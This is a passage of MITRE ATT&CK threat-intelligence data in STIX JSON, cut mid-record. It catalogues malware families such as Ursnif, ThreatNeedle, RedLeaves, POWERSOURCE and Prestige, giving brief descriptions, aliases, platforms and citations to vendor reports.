2019)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["HAWKBALL"],"type":"malware","id":"malware--12a7450d-b03e-4990-a5b8-b405ab9c803b","created":"2019-06-20T14:52:45.057Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0391","external_id":"S0391"},{"source_name":"HAWKBALL","description":"(Citation: FireEye HAWKBALL Jun 2019)"},{"source_name":"FireEye HAWKBALL Jun 2019","description":"Patil, S. and Williams, M.. (2019, June 5). Government Sector in Central Asia Targeted With New HAWKBALL Backdoor Delivered via Microsoft Office Vulnerabilities. Retrieved June 20, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/06/government-in-central-asia-targeted-with-hawkball-backdoor.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T00:25:13.397Z","name":"PS1","description":"[PS1](https://attack.mitre.org/software/S0613) is a loader that was used to deploy 64-bit backdoors in the [CostaRicto](https://attack.mitre.org/groups/G0132) campaign.(Citation: BlackBerry CostaRicto November 2020)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["PS1"],"type":"malware","id":"malware--13183cdf-280b-46be-913a-5c6df47831e7","created":"2021-05-24T14:55:59.316Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0613","external_id":"S0613"},{"source_name":"BlackBerry CostaRicto November 2020","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021.","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-12T19:50:37.023Z","name":"Ursnif","description":"[Ursnif](https://attack.mitre.org/software/S0386) is a banking trojan and variant of the Gozi malware observed being spread through various automated exploit kits, [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)s, and malicious links.(Citation: NJCCIC Ursnif Sept 2016)(Citation: ProofPoint Ursnif Aug 2016) [Ursnif](https://attack.mitre.org/software/S0386) is associated primarily with data theft, but variants also include components (backdoors, spyware, file injectors, etc.) capable of a wide variety of behaviors.(Citation: TrendMicro Ursnif Mar 2015)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.5","x_mitre_aliases":["Ursnif","Gozi-ISFB","PE_URSNIF","Dreambot"],"type":"malware","id":"malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407","created":"2019-06-04T18:42:22.552Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0386","external_id":"S0386"},{"source_name":"Gozi-ISFB","description":"(Citation: FireEye Ursnif Nov 2017)(Citation: ProofPoint Ursnif Aug 2016)"},{"source_name":"Ursnif","description":"(Citation: NJCCIC Ursnif Sept 2016)"},{"source_name":"Dreambot","description":"(Citation: NJCCIC Ursnif Sept 2016)(Citation: ProofPoint Ursnif Aug 2016)"},{"source_name":"PE_URSNIF","description":"(Citation: TrendMicro Ursnif Mar 2015)"},{"source_name":"TrendMicro Ursnif Mar 2015","description":"Caragay, R. (2015, March 26). URSNIF: The Multifaceted Malware. Retrieved June 5, 2019.","url":"https://web.archive.org/web/20210719165945/https://www.trendmicro.com/en_us/research/15/c/ursnif-the-multifaceted-malware.html?_ga=2.165628854.808042651.1508120821-744063452.1505819992"},{"source_name":"NJCCIC Ursnif Sept 2016","description":"NJCCIC. (2016, September 27). Ursnif. Retrieved September 12, 2024.","url":"https://www.cyber.nj.gov/threat-landscape/malware/trojans/ursnif"},{"source_name":"ProofPoint Ursnif Aug 2016","description":"Proofpoint Staff. (2016, August 25). Nightmare on Tor Street: Ursnif variant Dreambot adds Tor functionality. Retrieved June 5, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality"},{"source_name":"FireEye Ursnif Nov 2017","description":"Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. Retrieved June 5, 2019.","url":"https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-10T22:32:30.915Z","name":"ThreatNeedle","description":"[ThreatNeedle](https://attack.mitre.org/software/S0665) is a backdoor that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032) since at least 2019 to target cryptocurrency, defense, and mobile gaming organizations. It is considered to be an advanced cluster of [Lazarus Group](https://attack.mitre.org/groups/G0032)'s Manuscrypt (a.k.a. NukeSped) malware family.(Citation: Kaspersky ThreatNeedle Feb 2021)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["ThreatNeedle"],"type":"malware","id":"malware--16040b1c-ed28-4850-9d8f-bb8b81c42092","created":"2021-11-30T15:46:36.159Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0665","external_id":"S0665"},{"source_name":"Kaspersky ThreatNeedle Feb 2021","description":"Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021.","url":"https://securelist.com/lazarus-threatneedle/100803/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-09-30T20:52:00.462Z","name":"ZLib","description":"[ZLib](https://attack.mitre.org/software/S0086) is a full-featured backdoor that was used as a second-stage implant during [Operation Dust Storm](https://attack.mitre.org/campaigns/C0016) since at least 2014. [ZLib](https://attack.mitre.org/software/S0086) is malware and should not be confused with the legitimate compression library from which its name is derived.(Citation: Cylance Dust Storm)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["ZLib"],"type":"malware","id":"malware--166c0eca-02fd-424a-92c0-6b5106994d31","created":"2017-05-31T21:32:56.394Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0086","external_id":"S0086"},{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-12T19:32:28.614Z","name":"RedLeaves","description":"[RedLeaves](https://attack.mitre.org/software/S0153) is a malware family used by [menuPass](https://attack.mitre.org/groups/G0045). The code overlaps with [PlugX](https://attack.mitre.org/software/S0013) and may be based upon the open source tool Trochilus. (Citation: PWC Cloud Hopper Technical Annex April 2017) (Citation: FireEye APT10 April 2017)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_contributors":["Edward Millington"],"x_mitre_aliases":["RedLeaves","BUGJUICE"],"type":"malware","id":"malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0153","external_id":"S0153"},{"source_name":"RedLeaves","description":"(Citation: PWC Cloud Hopper Technical Annex April 2017)"},{"source_name":"BUGJUICE","description":"Based on similarities in reported malware behavior and open source reporting, it is assessed that the malware named BUGJUICE by FireEye is likely the same as the malware RedLeaves. (Citation: FireEye APT10 April 2017) (Citation: Twitter Nick Carr APT10)"},{"source_name":"Twitter Nick Carr APT10","description":"Carr, N.. (2017, April 6). Retrieved September 12, 2024.","url":"https://x.com/ItsReallyNick/status/850105140589633536"},{"source_name":"FireEye APT10 April 2017","description":"FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html"},{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-12T15:19:00.433Z","name":"Miner-C","description":"[Miner-C](https://attack.mitre.org/software/S0133) is malware that mines victims for the Monero cryptocurrency. It has targeted FTP servers and Network Attached Storage (NAS) devices to spread. (Citation: Softpedia MinerC)","x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["Miner-C"],"type":"malware","id":"malware--17dec760-9c8f-4f1b-9b4b-0ac47a453234","created":"2017-05-31T21:33:16.315Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0133","external_id":"S0133"},{"source_name":"Softpedia MinerC","description":"Cimpanu, C.. (2016, September 9). Cryptocurrency Mining Malware Discovered Targeting Seagate NAS Hard Drives. Retrieved September 12, 2024.","url":"https://news.softpedia.com/news/cryptocurrency-mining-malware-discovered-targeting-seagate-nas-hard-drives-508119.shtml"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["POWERSOURCE","DNSMessenger"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--17e919aa-4a49-445c-b103-dbb8df9e7351","created":"2017-05-31T21:33:24.739Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"S0145","url":"https://attack.mitre.org/software/S0145"},{"source_name":"POWERSOURCE","description":"(Citation: FireEye FIN7 March 2017)"},{"source_name":"DNSMessenger","description":"Based on similar descriptions of functionality, it appears S0145, as named by FireEye, is the same as the first stages of a backdoor named DNSMessenger by Cisco's Talos Intelligence Group. However, FireEye appears to break DNSMessenger into two parts: S0145 and S0146. (Citation: Cisco DNSMessenger March 2017) (Citation: FireEye FIN7 March 2017)"},{"source_name":"Cisco DNSMessenger March 2017","url":"http://blog.talosintelligence.com/2017/03/dnsmessenger.html","description":"Brumaghin, E. and Grady, C.. (2017, March 2). Covert Channels and Poor Decisions: The Tale of DNSMessenger. Retrieved March 8, 2017."},{"source_name":"FireEye FIN7 March 2017","url":"https://web.archive.org/web/20180808125108/https:/www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html","description":"Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"[POWERSOURCE](https://attack.mitre.org/software/S0145) is a PowerShell backdoor that is a heavily obfuscated and modified version of the publicly available tool DNS_TXT_Pwnage. It was observed in February 2017 in spearphishing campaigns against personnel involved with United States Securities and Exchange Commission (SEC) filings at various organizations. The malware was delivered when macros were enabled by the victim and a VBS script was dropped. (Citation: FireEye FIN7 March 2017) (Citation: Cisco DNSMessenger March 2017)","modified":"2022-07-20T20:06:44.707Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"POWERSOURCE","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-17T20:47:19.566Z","name":"LITTLELAMB.WOOLTEA","description":"[LITTLELAMB.WOOLTEA](https://attack.mitre.org/software/S1121) is a backdoor that was used by UNC5325 during [Cutting Edge](https://attack.mitre.org/campaigns/C0029) to deploy malware on targeted Ivanti Connect Secure VPNs and to establish persistence across system upgrades and patches.(Citation: Mandiant Cutting Edge Part 3 February 2024)","x_mitre_platforms":["Network"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["LITTLELAMB.WOOLTEA"],"type":"malware","id":"malware--19256855-65e9-48f2-8b74-9f3d0a994428","created":"2024-03-13T18:41:57.589Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1121","external_id":"S1121"},{"source_name":"Mandiant Cutting Edge Part 3 February 2024","description":"Lin, M. et al. (2024, February 27). Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts. Retrieved March 1, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Felismus"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1","type":"malware","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0171","external_id":"S0171"},{"source_name":"Felismus","description":"(Citation: Symantec Sowbug Nov 2017) (Citation: Forcepoint Felismus Mar 2017)"},{"url":"https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments","description":"Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.","source_name":"Symantec Sowbug Nov 2017"},{"url":"https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware","description":"Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.","source_name":"Forcepoint Felismus Mar 2017"}],"modified":"2020-03-30T18:52:30.568Z","name":"Felismus","description":"[Felismus](https://attack.mitre.org/software/S0171) is a modular backdoor that has been used by [Sowbug](https://attack.mitre.org/groups/G0054). (Citation: Symantec Sowbug Nov 2017) (Citation: Forcepoint Felismus Mar 2017)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-10T20:31:00.234Z","name":"Zeus Panda","description":"[Zeus Panda](https://attack.mitre.org/software/S0330) is a Trojan designed to steal banking information and other sensitive credentials for exfiltration. [Zeus Panda](https://attack.mitre.org/software/S0330)’s original source code was leaked in 2011, allowing threat actors to use its source code as a basis for new malware variants. It is mainly used to target Windows operating systems ranging from Windows XP through Windows 10.(Citation: Talos Zeus Panda Nov 2017)(Citation: GDATA Zeus Panda June 2017)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.4","x_mitre_aliases":["Zeus Panda"],"type":"malware","id":"malware--198db886-47af-4f4c-bff5-11b891f85946","created":"2019-01-29T17:59:43.600Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0330","external_id":"S0330"},{"source_name":"Zeus Panda","description":"(Citation: Talos Zeus Panda Nov 2017)(Citation: GDATA Zeus Panda June 2017)"},{"source_name":"Talos Zeus Panda Nov 2017","description":"Brumaghin, E., et al. (2017, November 02). Poisoning the Well: Banking Trojan Targets Google Search Results. Retrieved November 5, 2018.","url":"https://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html#More"},{"source_name":"GDATA Zeus Panda June 2017","description":"Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.","url":"https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["GeminiDuke"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--199463de-d9be-46d6-bb41-07234c1dd5a6","type":"malware","created":"2017-05-31T21:32:36.177Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0049","external_id":"S0049"},{"url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","source_name":"F-Secure The Dukes"}],"modified":"2020-03-30T16:43:20.186Z","name":"GeminiDuke","description":"[GeminiDuke](https://attack.mitre.org/software/S0049) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2009 to 2012. (Citation: F-Secure The Dukes)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:46:42.264Z","name":"CARROTBAT","description":"[CARROTBAT](https://attack.mitre.org/software/S0462) is a customized dropper that has been in use since at least 2017. [CARROTBAT](https://attack.mitre.org/software/S0462) has been used to install [SYSCON](https://attack.mitre.org/software/S0464) and has infrastructure overlap with [KONNI](https://attack.mitre.org/software/S0356).(Citation: Unit 42 CARROTBAT November 2018)(Citation: Unit 42 CARROTBAT January 2020)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["CARROTBAT"],"type":"malware","id":"malware--1b9f0800-035e-4ed1-9648-b18294cc5bc8","created":"2020-06-02T14:11:40.581Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0462","external_id":"S0462"},{"source_name":"Unit 42 CARROTBAT November 2018","description":"Grunzweig, J. and Wilhoit, K. (2018, November 29). The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia. Retrieved June 2, 2020.","url":"https://unit42.paloaltonetworks.com/unit42-the-fractured-block-campaign-carrotbat-malware-used-to-deliver-malware-targeting-southeast-asia/"},{"source_name":"Unit 42 CARROTBAT January 2020","description":"McCabe, A. (2020, January 23). The Fractured Statue Campaign: U.S. Government Agency Targeted in Spear-Phishing Attacks. Retrieved June 2, 2020.","url":"https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Matryoshka"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--1cc934e4-b01d-4543-a011-b988dfc1a458","type":"malware","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0167","external_id":"S0167"},{"source_name":"Matryoshka","description":"(Citation: ClearSky Wilted Tulip July 2017)"},{"source_name":"ClearSky Wilted Tulip July 2017","description":"ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.","url":"http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf"},{"source_name":"CopyKittens Nov 2015","description":"Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.","url":"https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf"}],"modified":"2021-04-23T20:13:32.050Z","name":"Matryoshka","description":"[Matryoshka](https://attack.mitre.org/software/S0167) is a malware framework used by [CopyKittens](https://attack.mitre.org/groups/G0052) that consists of a dropper, loader, and RAT. It has multiple versions; v1 was seen in the wild from July 2016 until January 2017. v2 has fewer commands and other minor differences. (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015)","x_mitre_version":"2.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Center for Threat-Informed Defense (CTID)"],"x_mitre_aliases":["FrameworkPOS","Trinity"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--1cdbbcab-903a-414d-8eb0-439a97343737","type":"malware","created":"2020-09-08T14:55:46.094Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0503","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0503"},{"source_name":"Trinity","description":"(Citation: SentinelOne FrameworkPOS September 2019)"},{"source_name":"SentinelOne FrameworkPOS September 2019","url":"https://labs.sentinelone.com/fin6-frameworkpos-point-of-sale-malware-analysis-internals-2/","description":"Kremez, V. (2019, September 19). FIN6 “FrameworkPOS”: Point-of-Sale Malware Analysis & Internals. Retrieved September 8, 2020."}],"modified":"2020-10-19T19:44:15.357Z","name":"FrameworkPOS","description":"[FrameworkPOS](https://attack.mitre.org/software/S0503) is a point of sale (POS) malware used by [FIN6](https://attack.mitre.org/groups/G0037) to steal payment card data from sytems that run physical POS devices.(Citation: SentinelOne FrameworkPOS September 2019)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:25:20.119Z","name":"GravityRAT","description":"[GravityRAT](https://attack.mitre.org/software/S0237) is a remote access tool (RAT) and has been in ongoing development since 2016. The actor behind the tool remains unknown, but two usernames have been recovered that link to the author, which are \"TheMartian\" and \"The Invincible.\" According to the National Computer Emergency Response Team (CERT) of India, the malware has been identified in attacks against organization and entities in India. (Citation: Talos GravityRAT)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.3","x_mitre_aliases":["GravityRAT"],"type":"malware","id":"malware--1d1fce2f-0db5-402b-9843-4278a0694637","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0237","external_id":"S0237"},{"source_name":"GravityRAT","description":"(Citation: Talos GravityRAT)"},{"source_name":"Talos GravityRAT","description":"Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.","url":"https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-12-26T19:55:54.848Z","name":"WEBC2","description":"[WEBC2](https://attack.mitre.org/software/S0109) is a family of backdoor malware used by [APT1](https://attack.mitre.org/groups/G0006) as early as July 2006. [WEBC2](https://attack.mitre.org/software/S0109) backdoors are designed to retrieve a webpage, with commands hidden in HTML comments or special tags, from a predetermined C2 server. (Citation: Mandiant APT1 Appendix)(Citation: Mandiant APT1)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"2.0","x_mitre_contributors":["Wes Hurd"],"x_mitre_aliases":["WEBC2"],"type":"malware","id":"malware--1d808f62-cf63-4063-9727-ff6132514c22","created":"2017-05-31T21:33:06.433Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0109","external_id":"S0109"},{"source_name":"WEBC2","description":"(Citation: Mandiant APT1)"},{"source_name":"Mandiant APT1 Appendix","description":"Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.","url":"https://www.mandiant.com/sites/default/files/2021-09/mandiant-apt1-report.pdf"},{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-02-24T22:25:15.162Z","name":"Prestige","description":"[Prestige](https://attack.mitre.org/software/S1058) ransomware has been used by [Sandworm Team](https://attack.mitre.org/groups/G0034) since at least March 2022, including against transportation and related logistics industries in Ukraine and Poland in October 2022.(Citation: Microsoft Prestige ransomware October 2022)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_contributors":["Mindaugas Gudzis, BT Security"],"x_mitre_aliases":["Prestige"],"type":"malware","id":"malware--1da748a5-875d-4212-9222-b4c23ab861be","created":"2023-01-20T18:43:05.682Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1058","external_id":"S1058"},{"source_name":"Microsoft Prestige ransomware October 2022","description":"MSTIC. (2022, October 14). New “Prestige” ransomware impacts organizations in Ukraine and Poland. Retrieved January 19, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/10/14/new-prestige-ransomware-impacts-organizations-in-ukraine-and-poland/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Bankshot","Trojan Manuscript"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0239","external_id":"S0239"},{"source_name":"Bankshot","description":"(Citation: McAfee Bankshot)"},{"source_name":"Trojan Manuscript","description":"(Citation: McAfee Bankshot)"},{"url":"https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/","description":"Sherstobitoff, 